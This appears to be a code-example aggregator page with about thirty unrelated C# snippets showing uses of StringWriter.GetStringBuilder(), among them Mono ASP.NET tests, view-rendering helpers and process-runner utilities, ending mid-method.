Ejemplo n.º 1
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
		h.Execute ("Index1.aspx", sw);
		string result = sw.ToString ();
		if (result != "<html></html>") {
			Console.WriteLine (result);
			return 1;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("Index2.aspx", sw);
		result = sw.ToString ();
		if (result != "<html><fckeditorv2:whatever /></html>") {
			Console.WriteLine (result);
			return 2;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("Index3.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("Does.Not.Exist") == -1) {
			Console.WriteLine (result);
			return 3;
		}
		return 0;
	}
Ejemplo n.º 2
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
#if NET_2_0
		h.Execute ("Default20.aspx", sw);
#else
		h.Execute ("Default11.aspx", sw);
#endif
		string result = sw.ToString ();

#if NET_2_0
		if (result.IndexOf ("1Mono!Test11") == -1) {
#else
		if (result.IndexOf ("1Mono.Web.Config.TestConfiguration1") == -1) {
#endif
			Console.WriteLine (result);
			return 1;
		}

#if NET_2_0
		if (result.IndexOf ("2Mono.Web.Config.TestConfiguration2") == -1) {
#else
		if (result.IndexOf ("2Mono.Web.Config.TestConfiguration2") == -1) {
#endif
			Console.WriteLine (result);
			return 2;
		}

#if NET_2_0
		if (result.IndexOf ("3Mono.Web.Config.TestConfigurationSection3") == -1) {
			Console.WriteLine (result);
			return 3;
		}
#endif

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Index1.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("Index1-OK") != -1) {
			Console.WriteLine (result);
			return 4;
		}
		if (result.IndexOf ("Could not load type 'Index1'") == -1) {
			Console.WriteLine (result);
			return 5;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Index2.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("Index2-OK") == -1) {
			Console.WriteLine (result);
			return 6;
		}

		return 0;
	}
}
Ejemplo n.º 3
0
	public bool runTest()
	{
		int iCountErrors = 0;
		int iCountTestcases = 0;
        String strTemp = String.Empty ;
        Char[] cArr = new Char[10] ;
        StringBuilder sb = new StringBuilder(40);
        StringWriter sw = new StringWriter(sb);
        StringReader sr;
        iCountTestcases++;
        bool[] bArr = new bool[]{  true,true,true,true,true,false,false,false,false,false};
		try {
			for(int i = 0 ; i < bArr.Length ; i++)
				sw.WriteLine(bArr[i]);
			sr = new StringReader(sw.GetStringBuilder().ToString());
			for(int i = 0 ; i < bArr.Length ; i++) {
                sr.Read(cArr, 0, bArr[i].ToString().Length+System.Environment.NewLine.Length);
				if(new String(cArr, 0, bArr[i].ToString().Length) != bArr[i].ToString()) {
					iCountErrors++;
					printerr( "Error_298vc_"+i+"! Expected=="+bArr[i].ToString()+", got=="+new String(cArr));
				}
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_298yg! Unexpected exception thrown, exc=="+exc.ToString());
		}
        iCountTestcases++;
        bArr = new bool[10000];
        for(int i = 0 ; i < bArr.Length ; i++)
            bArr[i] = Convert.ToBoolean(rand.Next(0,2));
		try {
            sb.Length = 0;
			for(int i = 0 ; i < bArr.Length ; i++)
				sw.WriteLine(bArr[i]);
			sr = new StringReader(sw.GetStringBuilder().ToString());
			for(int i = 0 ; i < bArr.Length ; i++) {
                sr.Read(cArr, 0, bArr[i].ToString().Length+System.Environment.NewLine.Length);
                if(new String(cArr, 0, bArr[i].ToString().Length) != bArr[i].ToString()) {
					iCountErrors++;
					printerr( "Error_57485_"+i+"! Expected=="+bArr[i].ToString()+", got=="+new String(cArr));
				}
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_43432! Unexpected exception thrown, exc=="+exc.ToString());
		}
        if ( iCountErrors == 0 )
		{
			Console.WriteLine( "paSs. iCountTestcases=="+iCountTestcases.ToString());
			return true;
		}
		else
		{
			Console.WriteLine("FAiL! iCountErrors=="+iCountErrors.ToString() );
			return false;
		}
	}
Ejemplo n.º 4
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		if (RunningOnUnix)
			return 0;

		TinyHost h = CreateHost ("/");
		StringWriter sw = new StringWriter ();
		h.Execute ("Default.aspx", sw);
		string result = sw.ToString ();
		string expected = "/test/blah.txt||/test/blah.txt||/";
		if (result != expected) {
			Console.WriteLine (result);
			return 1;
		}

#if NET_2_0
		sw.GetStringBuilder ().Length = 0;
		h.Execute ("subdir" + Path.DirectorySeparatorChar + "Default.aspx", sw);
		result = sw.ToString ();
		expected = "/test/blah.txt||/subdir/test/blah.txt||/subdir";
		if (result != expected) {
			Console.WriteLine (result);
			return 2;
		}
#endif

		h = CreateHost ("/sub");
		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Default.aspx", sw);
		result = sw.ToString ();
		expected = "/sub/test/blah.txt||/sub/test/blah.txt||/sub";
		if (result != expected) {
			Console.WriteLine (result);
			return 3;
		}

#if NET_2_0
		sw.GetStringBuilder ().Length = 0;
		h.Execute ("subdir" + Path.DirectorySeparatorChar + "Default.aspx", sw);
		result = sw.ToString ();
		expected = "/sub/test/blah.txt||/sub/subdir/test/blah.txt||/sub/subdir";
		if (result != expected) {
			Console.WriteLine (result);
			return 4;
		}
#endif

		return 0;
	}
    /// <summary>
    /// Renders the specified partial view to a string.
    /// </summary>
    /// <param name="viewName">The name of the partial view.</param>
    /// <param name="model">The model.</param>
    /// <returns>The partial view as a string.</returns>
    protected string RenderPartialViewToString(string viewName, object model)
    {
        if (string.IsNullOrEmpty(viewName))
        {
            viewName = ControllerContext.RouteData.GetRequiredString("action");
        }

        ViewData.Model = model;

        using (var sw = new StringWriter())
        {
            // Find the partial view by its name and the current controller context.
            ViewEngineResult viewResult = ViewEngines.Engines.FindPartialView(ControllerContext, viewName);

            if (viewResult.View == null)
            {
              throw new ArgumentException(string.Format("Could not find the view with the specified name '{0}'.", viewName), "viewName");
            }

            // Create a view context.
            var viewContext = new ViewContext(ControllerContext, viewResult.View, ViewData, TempData, sw);

            // Render the view using the StringWriter object.
            viewResult.View.Render(viewContext, sw);

            return sw.GetStringBuilder().ToString();
        }
    }
Ejemplo n.º 6
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
		h.Execute ("Default.aspx", "arg1=1&arg2=2", sw);
		string result = sw.ToString ();

		if (result.IndexOf ("<p>ARG1=1</p>") == -1) {
			Console.WriteLine (result);
			return 1;
		}
		if (result.IndexOf ("<p>ARG2=2</p>") == -1) {
			Console.WriteLine (result);
			return 2;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Default.aspx", "arg1=1;arg2=2", sw);
		result = sw.ToString ();

		if (result.IndexOf ("<p>ARG1=1;arg2=2</p>") == -1) {
			Console.WriteLine (result);
			return 3;
		}
		if (result.IndexOf ("<p>ARG2=</p>") == -1) {
			Console.WriteLine (result);
			return 4;
		}

		return 0;
	}
Ejemplo n.º 7
0
        public CommandResult Execute()
        {
            ThrowIfRunning();
            _running = true;

            if (_process.StartInfo.RedirectStandardOutput)
            {
                _process.OutputDataReceived += (sender, args) =>
                {
                    ProcessData(args.Data, _stdOutCapture, _stdOutForward, _stdOutHandler);
                };
            }

            if (_process.StartInfo.RedirectStandardError)
            {
                _process.ErrorDataReceived += (sender, args) =>
                {
                    ProcessData(args.Data, _stdErrCapture, _stdErrForward, _stdErrHandler);
                };
            }

            _process.EnableRaisingEvents = true;

            var sw = Stopwatch.StartNew();

            BuildReporter.BeginSection("EXEC", FormatProcessInfo(_process.StartInfo));

            _process.Start();

            if (_process.StartInfo.RedirectStandardOutput)
            {
                _process.BeginOutputReadLine();
            }

            if (_process.StartInfo.RedirectStandardError)
            {
                _process.BeginErrorReadLine();
            }

            _process.WaitForExit();

            var exitCode = _process.ExitCode;

            var message = $"{FormatProcessInfo(_process.StartInfo)} exited with {exitCode}";

            if (exitCode == 0)
            {
                BuildReporter.EndSection("EXEC", message.Green(), success: true);
            }
            else
            {
                BuildReporter.EndSection("EXEC", message.Red().Bold(), success: false);
            }

            return(new CommandResult(
                       _process.StartInfo,
                       exitCode,
                       _stdOutCapture?.GetStringBuilder()?.ToString(),
                       _stdErrCapture?.GetStringBuilder()?.ToString()));
        }
Ejemplo n.º 8
0
        /// <summary>
        /// Wait for the command to exit and dispose of the underlying process.
        /// </summary>
        /// <param name="expectedToFail">Whether or not the command is expected to fail (non-zero exit code)</param>
        /// <param name="timeoutMilliseconds">Time in milliseconds to wait for the command to exit</param>
        /// <returns>Result of the command</returns>
        public CommandResult WaitForExit(bool expectedToFail, int timeoutMilliseconds = Timeout.Infinite)
        {
            ReportExecWaitOnExit();

            int exitCode;

            if (!Process.WaitForExit(timeoutMilliseconds))
            {
                exitCode = -1;
            }
            else
            {
                exitCode = Process.ExitCode;
            }

            ReportExecEnd(exitCode, expectedToFail);

            Process.Dispose();

            return(new CommandResult(
                       Process.StartInfo,
                       exitCode,
                       _stdOutCapture?.GetStringBuilder()?.ToString(),
                       _stdErrCapture?.GetStringBuilder()?.ToString()));
        }
	public bool runTest()
	{
		Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
		int iCountErrors = 0;
		int iCountTestcases = 0;
		String strValue = String.Empty;
		try {
			StringBuilder sb = new StringBuilder(40);
			StringWriter sw = new StringWriter(sb);
			sw.Write(4);
			sb = sw.GetStringBuilder();
			iCountTestcases++;
			if(!sb.ToString().Equals("4")) {
				iCountErrors++;
				printerr( "Error_298vc! Unexpected value written, sb=="+sb.ToString());
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_298yg! Unexpected exception thrown, exc=="+exc.ToString());
		}
		if ( iCountErrors == 0 )
		{
			Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
			return true;
		}
		else
		{
			Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
			return false;
		}
	}
Ejemplo n.º 10
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
		h.Execute ("Default.aspx", sw);
		string result = sw.ToString ();

		Assert.IsFalse (result.IndexOf (">About<") != -1, "#A1:" + result);
		Assert.IsFalse (result.IndexOf ("title=\"OmschrijvingAbout!\"") != -1, "#A2:" + result);
		Assert.IsFalse (result.IndexOf (">Tester<") != -1, "#A3:" + result);
		Assert.IsFalse (result.IndexOf ("title=\"OmschrijvingTester!\"") != -1, "#A4:" + result);
		Assert.IsFalse (result.IndexOf (">Titel!Admins<") != -1, "#A5:" + result);
		Assert.IsFalse (result.IndexOf ("title=\"Omschrijving!Admins\"") != -1, "#A6:" + result);
		Assert.IsFalse (result.IndexOf (">Admins<") != -1, "#A7:" + result);
		Assert.IsFalse (result.IndexOf (">Auth Users Only<") != -1, "#A8:" + result);
		Assert.IsFalse (result.IndexOf ("Error") != -1, "#A9:" + result);

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Index.aspx", sw);
		result = sw.ToString ();

		Assert.IsTrue (result.IndexOf (">About<") != -1, "#B1:" + result);
		Assert.IsTrue (result.IndexOf ("title=\"OmschrijvingAbout!\"") != -1, "#B2:" + result);
		Assert.IsTrue (result.IndexOf (">Tester<") != -1, "#B3:" + result);
		Assert.IsTrue (result.IndexOf ("title=\"OmschrijvingTester!\"") != -1, "#B4:" + result);
		Assert.IsFalse (result.IndexOf (">Titel!Admins<") != -1, "#B5:" + result);
		Assert.IsFalse (result.IndexOf ("title=\"Omschrijving!Admins\"") != -1, "#B6:" + result);
		Assert.IsTrue (result.IndexOf (">Admins<") != -1, "#B7:" + result);
		Assert.IsTrue (result.IndexOf (">Auth Users Only<") != -1, "#B8:" + result);
		Assert.IsFalse (result.IndexOf ("Error") != -1, "#B9:" + result);

		return 0;
	}
Ejemplo n.º 11
0
Archivo: test3.cs Proyecto: mono/gert
	static int Main ()
	{
		string webDir = Path.Combine (AppDomain.CurrentDomain.BaseDirectory,
			"web");
		string appCodeDir = Path.Combine (webDir, "App_Code");
		string invalidSourceFile = Path.Combine (appCodeDir, "invalid.cs");
		string invalidConfigFile = Path.Combine (webDir, "Web.config");

		Directory.CreateDirectory (appCodeDir);
		File.Delete (invalidSourceFile);
		File.Delete (invalidConfigFile);

		using (StreamWriter w = File.CreateText (invalidConfigFile)) {
			w.WriteLine ("INVALIDXML");
		}

		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
		h.Execute ("Default.aspx", sw);
		string result = sw.ToString ();
		if (result == "bug81127") {
			Console.WriteLine (result);
			return 1;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("~/Doc/Default.aspx", sw);
		result = sw.ToString ();
		if (result == "bug81127") {
			Console.WriteLine (result);
			return 2;
		}

		return 0;
	}
Ejemplo n.º 12
0
    // Use this for initialization
    void Start()
    {
        var sw = new StringWriter();
        Evaluator.MessageOutput = sw;
        _stringBuilder = sw.GetStringBuilder();
        Evaluator.Init(new string[0]);
        Evaluator.ReferenceAssembly(Assembly.GetExecutingAssembly());

        foreach (Assembly a in AppDomain.CurrentDomain.GetAssemblies())
        {
            try
            {
                Evaluator.ReferenceAssembly(a);
                Debug.Log("Loaded assembly: " + a.FullName);
            }
            catch (Exception ex)
            {
                Debug.LogWarning("Couldn't load assembly: " + a.FullName + " (" + ex.ToString() + ")");
            }
        }

        Evaluator.Run("using UnityEngine;");
        Evaluator.Run("using Mono.CSharp;");
        Evaluator.Run("using System;");
        Evaluator.Run("using System.Text;");
        Evaluator.Run("using System.Collections;");
        Evaluator.Run("using System.Linq;");
        Evaluator.Run("using DarkCluster.Core;");
        Evaluator.Run("using Assets.Scripts.Events;");
    }
	public bool runTest()
	{
		Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
		int iCountErrors = 0;
		int iCountTestcases = 0;
		String strValue = String.Empty;
		Char[] chArr = new Char[]{
			Char.MinValue
			,Char.MaxValue
			,'\t'
			,' '
			,'$'
			,'@'
			,'#'
			,'\0'
			,'\v'
			,'\''
			,'\u3190'
			,'\uC3A0'
			,'A'
			,'5'
			,'\uFE70' 
			,'-'
			,';'
			,'\u00E6'
			,'\n'
			,'\v'
		};
		try {
			StringBuilder sb = new StringBuilder(40);
			StringWriter sw = new StringWriter(sb);
			StringReader sr;
			for(int i = 0 ; i < chArr.Length ; i++)
				sb.Append(chArr[i]);
			sw.Write(sb.ToString());
			sr = new StringReader(sw.GetStringBuilder().ToString());
			Int32 tmp = 0;
			for(int i = 0 ; i < chArr.Length ; i++) {
				iCountTestcases++;
				if((tmp = sr.Read()) != (Int32)chArr[i]) {
					iCountErrors++;
					printerr( "Error_298vc_"+i+"! Expected=="+(Int32)chArr[i]+", got=="+tmp);
				}
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_298yg! Unexpected exception thrown, exc=="+exc.ToString());
		}
		if ( iCountErrors == 0 )
		{
			Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
			return true;
		}
		else
		{
			Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
			return false;
		}
	}
Ejemplo n.º 14
0
        public CommandResult Execute()
        {
            ThrowIfRunning();
            _running = true;

            if (_process.StartInfo.RedirectStandardOutput)
            {
                _process.OutputDataReceived += (sender, args) =>
                {
                    ProcessData(args.Data, _stdOutCapture, _stdOutForward, _stdOutHandler);
                };
            }

            if (_process.StartInfo.RedirectStandardError)
            {
                _process.ErrorDataReceived += (sender, args) =>
                {
                    ProcessData(args.Data, _stdErrCapture, _stdErrForward, _stdErrHandler);
                };
            }

            _process.EnableRaisingEvents = true;

            if (_process.StartInfo.RedirectStandardOutput ||
                _process.StartInfo.RedirectStandardInput ||
                _process.StartInfo.RedirectStandardError)
            {
                _process.StartInfo.UseShellExecute = false;
            }

            var sw = Stopwatch.StartNew();

            ReportExecBegin();

            _process.Start();

            if (_process.StartInfo.RedirectStandardOutput)
            {
                _process.BeginOutputReadLine();
            }

            if (_process.StartInfo.RedirectStandardError)
            {
                _process.BeginErrorReadLine();
            }

            _process.WaitForExit();

            var exitCode = _process.ExitCode;

            ReportExecEnd(exitCode);

            return(new CommandResult(
                       _process.StartInfo,
                       exitCode,
                       _stdOutCapture?.GetStringBuilder()?.ToString(),
                       _stdErrCapture?.GetStringBuilder()?.ToString()));
        }
Ejemplo n.º 15
0
 public static string GetJsonFromObject(dynamic obj)
 {
     var jsonSerializer = new JsonSerializer();
     using (var stringWriter = new StringWriter())
     {
         jsonSerializer.Serialize(stringWriter, obj);
         var stringBuilder = stringWriter.GetStringBuilder();
         return stringBuilder.ToString();
     }
 }
Ejemplo n.º 16
0
        public void EndAddHtmlAttributeValues(TagHelperExecutionContext executionContext)
        {
            if (!tagHelperAttributeInfo.Suppressed)
            {
                // Perf: _valueBuffer might be null if nothing was written. If it is set, clear it so
                // it is reset for the next value.
                var content = valueBuffer == null ? HtmlString.Empty : new HtmlString(valueBuffer.ToString());
                valueBuffer?.GetStringBuilder().Clear();

                executionContext.AddHtmlAttribute(tagHelperAttributeInfo.Name, content, tagHelperAttributeInfo.AttributeValueStyle);
            }
        }
    /// <summary>
    ///     An object extension method that serialize a string to XML.
    /// </summary>
    /// <param name="this">The @this to act on.</param>
    /// <returns>The string representation of the Xml Serialization.</returns>
    public static string SerializeXml(this object @this)
    {
        var xmlSerializer = new XmlSerializer(@this.GetType());

        using (var stringWriter = new StringWriter())
        {
            xmlSerializer.Serialize(stringWriter, @this);
            using (var streamReader = new StringReader(stringWriter.GetStringBuilder().ToString()))
            {
                return streamReader.ReadToEnd();
            }
        }
    }
Ejemplo n.º 18
0
        public CommandResult Execute()
        {
            Reporter.Verbose.WriteLine($"Running {_process.StartInfo.FileName} {_process.StartInfo.Arguments}");

            ThrowIfRunning();
            _running = true;

            _process.OutputDataReceived += (sender, args) =>
            {
                ProcessData(args.Data, _stdOutCapture, _stdOutForward, _stdOutHandler);
            };

            _process.ErrorDataReceived += (sender, args) =>
            {
                ProcessData(args.Data, _stdErrCapture, _stdErrForward, _stdErrHandler);
            };

            _process.EnableRaisingEvents = true;

#if DEBUG
            var sw = Stopwatch.StartNew();
            Reporter.Verbose.WriteLine($"> {FormatProcessInfo(_process.StartInfo)}".White());
#endif
            _process.Start();

            Reporter.Verbose.WriteLine($"Process ID: {_process.Id}");

            _process.BeginOutputReadLine();
            _process.BeginErrorReadLine();

            _process.WaitForExit();

            var exitCode = _process.ExitCode;

#if DEBUG
            var message = $"< {FormatProcessInfo(_process.StartInfo)} exited with {exitCode} in {sw.ElapsedMilliseconds} ms.";
            if (exitCode == 0)
            {
                Reporter.Verbose.WriteLine(message.Green());
            }
            else
            {
                Reporter.Verbose.WriteLine(message.Red().Bold());
            }
#endif

            return(new CommandResult(
                       exitCode,
                       _stdOutCapture?.GetStringBuilder()?.ToString(),
                       _stdErrCapture?.GetStringBuilder()?.ToString()));
        }
Ejemplo n.º 19
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();

		h.Execute ("Default.aspx", sw);
		string result = sw.ToString ();
		if (result.IndexOf ("IsReadOnly = True") == -1) {
			Console.WriteLine (result);
			return 1;
		}
		if (result.IndexOf ("Mode = InProc") == -1) {
			Console.WriteLine (result);
			return 2;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Disabled.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("Session state can only be used when enableSessionState is set to true") == -1) {
			Console.WriteLine (result);
			return 3;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Enabled.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("IsReadOnly = False") == -1) {
			Console.WriteLine (result);
			return 4;
		}
		if (result.IndexOf ("Mode = InProc") == -1) {
			Console.WriteLine (result);
			return 5;
		}

		return 0;
	}
Ejemplo n.º 20
0
    private static void RunTests(Assembly assembly)
    {
        if (assembly == null)
            throw new ArgumentNullException("assembly");

        using (var sw = new StringWriter())
        {
            var runner = new NUnitStreamUI(sw);
            runner.Execute(assembly);
            var resultSummary = runner.Summary;
            var resultText = sw.GetStringBuilder().ToString();
            Presenter(resultText, resultSummary);
        }
    }
Ejemplo n.º 21
0
 public string RenderRazorViewToString(string viewName, object model)
 {
     ViewData.Model = model;
     using (var sw = new StringWriter())
     {
         var viewResult = ViewEngines.Engines.FindPartialView(ControllerContext,
                                                                  viewName);
         var viewContext = new ViewContext(ControllerContext, viewResult.View,
                                      ViewData, TempData, sw);
         viewResult.View.Render(viewContext, sw);
         viewResult.ViewEngine.ReleaseView(ControllerContext, viewResult.View);
         return sw.GetStringBuilder().ToString();
     }
 }
Ejemplo n.º 22
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
		h.Execute ("Index1.aspx", sw);
		string result = sw.ToString ();
		if (result != "<html>Index1</html>") {
			Console.WriteLine (result);
			return 1;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Index2.aspx", sw);
		result = sw.ToString ();
		if (result != "<html>Index2</html>") {
			Console.WriteLine (result);
			return 2;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Index3.aspx", sw);
		result = sw.ToString ();
		if (result != "<html>Index3</html>") {
			Console.WriteLine (result);
			return 3;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("Index4.aspx", sw);
		result = sw.ToString ();
		if (result != "<html>Index4</html>") {
			Console.WriteLine (result);
			return 4;
		}

		return 0;
	}
Ejemplo n.º 23
0
        public void UpdateBrowser(ITextSnapshot snapshot)
        {
            // Generate the HTML document
            string       html       = null;
            StringWriter htmlWriter = null;

            try
            {
                _currentDocument = snapshot.ParseToMarkdown();

                htmlWriter = htmlWriterStatic ?? (htmlWriterStatic = new StringWriter());
                htmlWriter.GetStringBuilder().Clear();
                var htmlRenderer = new HtmlRenderer(htmlWriter);
                MarkdownFactory.Pipeline.Setup(htmlRenderer);
                htmlRenderer.Render(_currentDocument);
                htmlWriter.Flush();
                html = htmlWriter.ToString();
            }
            catch (Exception ex)
            {
                // We could output this to the exception pane of VS?
                // Though, it's easier to output it directly to the browser
                html = "<p>An unexpected exception occured:</p><pre>" +
                       ex.ToString().Replace("<", "&lt;").Replace("&", "&amp;") + "</pre>";
            }
            finally
            {
                // Free any resources allocated by HtmlWriter
                htmlWriter?.GetStringBuilder().Clear();
            }

            if (_htmlDocument != null)
            {
                var content = _htmlDocument.getElementById("___markdown-content___");
                content.innerHTML = html;

                // Makes sure that any code blocks get syntax highligted by Prism
                var win = _htmlDocument.parentWindow;
                win.execScript("Prism.highlightAll();", "javascript");
            }
            else
            {
                var template = string.Format(CultureInfo.InvariantCulture, _htmlTemplate, html);
                Logger.LogOnError(() => Control.NavigateToString(template));
            }

            SyncNavigation();
        }
Ejemplo n.º 24
0
    /// <summary>
    /// Method Used to Render a Partial View with Model intact as a string for use in a JSON request
    /// </summary>
    /// <param name="viewName">Path of view that you are attempting to call.</param>
    /// <param name="model">The model data that the view should expect to recieve.</param>
    /// <returns>Html string of partial view.</returns>
    public static string RenderPartialViewToString(this Controller controller, string viewName, object model)
    {
        if (string.IsNullOrEmpty(viewName))
            viewName = controller.ControllerContext.RouteData.GetRequiredString("action");

        controller.ViewData.Model = model;

        using (var writer = new StringWriter())
        {
            ViewEngineResult viewResult = ViewEngines.Engines.FindPartialView(controller.ControllerContext, viewName);
            ViewContext viewContext = new ViewContext(controller.ControllerContext, viewResult.View, controller.ViewData, controller.TempData, writer);
            viewResult.View.Render(viewContext, writer);

            return writer.GetStringBuilder().ToString();
        }
    }
Ejemplo n.º 25
0
        public CommandResult WaitForExit(bool fExpectedToFail)
        {
            ReportExecWaitOnExit();

            Process.WaitForExit();

            var exitCode = Process.ExitCode;

            ReportExecEnd(exitCode, fExpectedToFail);

            return(new CommandResult(
                       Process.StartInfo,
                       exitCode,
                       _stdOutCapture?.GetStringBuilder()?.ToString(),
                       _stdErrCapture?.GetStringBuilder()?.ToString()));
        }
Ejemplo n.º 26
0
    public static void  Main(System.String[] args) {
	// first, we init the runtime engine.  Defaults are fine.
	try {
	    Velocity.Init();
	} catch (System.Exception e) {
	    System.Console.Out.WriteLine("Problem initializing Velocity : " + e);
	    return;
	}

	// lets make a Context and put data into it
	VelocityContext context = new VelocityContext();
	context.Put("name", "Velocity");
	context.Put("project", "Jakarta");

	// lets render a template
	StringWriter writer = new StringWriter();
	try {
	    Velocity.MergeTemplate("example2.vm", context, writer);
	} catch (System.Exception e) {
	    System.Console.Out.WriteLine("Problem merging template : " + e);
	}

	System.Console.Out.WriteLine(" template : " + writer.GetStringBuilder().ToString());

	// lets dynamically 'create' our template
	// and use the evaluate() method to render it
	System.String s = "We are using $project $name to render this.";
	writer = new StringWriter();
	try {
	    Velocity.Evaluate(context, writer, "mystring", s);
	} catch (ParseErrorException pee) {
	    // thrown if something is wrong with the
	    // syntax of our template string
	    System.Console.Out.WriteLine("ParseErrorException : " + pee);
	} catch (MethodInvocationException mee) {
	    // thrown if a method of a reference
	    // called by the template
	    // throws an exception. That won't happen here
	    // as we aren't calling any methods in this
	    // example, but we have to catch them anyway
	    System.Console.Out.WriteLine("MethodInvocationException : " + mee);
	} catch (System.Exception e) {
	    System.Console.Out.WriteLine("Exception : " + e);
	}

	System.Console.Out.WriteLine(" string : " + writer.GetStringBuilder().ToString());
    }
Ejemplo n.º 27
0
    public static string RenderViewToString(this Controller controller, string viewName = null, object model = null, string masterName = null)
    {
        if (string.IsNullOrEmpty(viewName))
            {
                viewName = controller.ControllerContext.RouteData.GetRequiredString("action");
            }

            controller.ViewData.Model = model;

            using (StringWriter sw = new StringWriter())
            {
                ViewEngineResult viewResult = ViewEngines.Engines.FindView(controller.ControllerContext, viewName, masterName);
                ViewContext viewContext = new ViewContext(controller.ControllerContext, viewResult.View, controller.ViewData, controller.TempData, sw);
                viewResult.View.Render(viewContext, sw);
                return sw.GetStringBuilder().ToString();
            }
    }
    public static void RunTests(Assembly assembly)
    {
        if (assembly == null)
            throw new ArgumentNullException("assembly");

    //    if (_tested.Contains(assembly))
      //      return;
        _tested.Add(assembly);

        using (var sw = new StringWriter())
        {
            var runner = new TextUI(sw);
            runner.Execute(new[] {"/nologo", assembly.FullName});
            var resultText = sw.GetStringBuilder().ToString();
            var assemblyName = assembly.GetName().Name;
            Presenter(assemblyName, resultText);
        }
    }
Ejemplo n.º 29
0
    protected override Task OnReceivedAsync(IRequest request, string connectionId, string data)
    {
        var item = JsonConvert.DeserializeObject<StreamItem>(data);
        if (item.Secret == ConfigurationManager.AppSettings["TwitterCustomerSecret"])
        {
            var topTweets = TwitterModel.Instance.Tweets(UsersCollection.PrimaryUser().TwitterScreenName).Take(50);
            if (topTweets != null)
            {
                var tweetsToSend = item.Data.Where(t => t.TweetRank >= topTweets.Min(x => x.TweetRank) && !topTweets.Contains(t)).OrderBy(t=>t.CreatedAt);
                if (tweetsToSend.Count() > 0)
                {
                    int index = tweetsToSend.Count();
                    List<string> returnValues = new List<string>();
                    ViewEngineResult viewResult = ViewEngines.Engines.FindPartialView(HomeContext, "_Item");

                    foreach(var tweet in tweetsToSend)
                    {
                        using (StringWriter sw = new StringWriter())
                        {
                            var ViewData = new ViewDataDictionary<ItemData>(new ItemData()
                            {
                                Model = tweet,
                                index = index--,
                                isTop10 = false,
                                isTop20 = false,
                                isTop30 = false,
                                randomImage = tweet.Links.Where(l => l.Image != null).OrderBy(x => Guid.NewGuid()).FirstOrDefault(),
                                hasVideo = tweet.Links.Where(l => l.Video != null).Count() > 0,
                                topN = ""
                            });

                            ViewContext viewContext = new ViewContext(HomeContext, viewResult.View, ViewData, new TempDataDictionary(), sw);
                            viewResult.View.Render(viewContext, sw);

                            returnValues.Add(sw.GetStringBuilder().ToString());
                        }
                    }
                    return Connection.Broadcast(returnValues);
                }
            }
        }

        return new Task(() => { /* Do Nothing */ });
    }
Ejemplo n.º 30
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		Thread.CurrentThread.CurrentCulture = new CultureInfo ("nl-BE");
		Thread.CurrentThread.CurrentUICulture = new CultureInfo ("nl-BE");

		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();
		h.Execute ("WebForm1.aspx", sw);
		string result = sw.ToString ();
		if (result.IndexOf ("<span id=\"Label1\"") == -1) {
			Console.WriteLine (result);
			return 1;
		}

		sw.GetStringBuilder ().Length = 0;
		h.Execute ("WebForm2.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("<span id=\"Label1\"") != -1) {
			Console.WriteLine (result);
			return 2;
		}
		return 0;
	}
Ejemplo n.º 31
0
    protected void btnGuiDonHang_Click(object sender, EventArgs e)
    {
        ShoppingCartToSend();
        StringWriter sw = new StringWriter();
        HtmlTextWriter w = new HtmlTextWriter(sw);

        string emailto = Common.NguoiDungEmail();
        string emailfrom = ConfigurationManager.AppSettings["EmailFrom"];
        string emailsubject = "Đơn hàng từ CHONET.VN";
        string emailbody = "<html><body><center><b><size=h1>ĐƠN HÀNG TỪ CHONET.VN</size></b></center><p>";
        string smtpserver = ConfigurationManager.AppSettings["smtpserver"];
        string emailcc = "";
        string emailbcc = "";

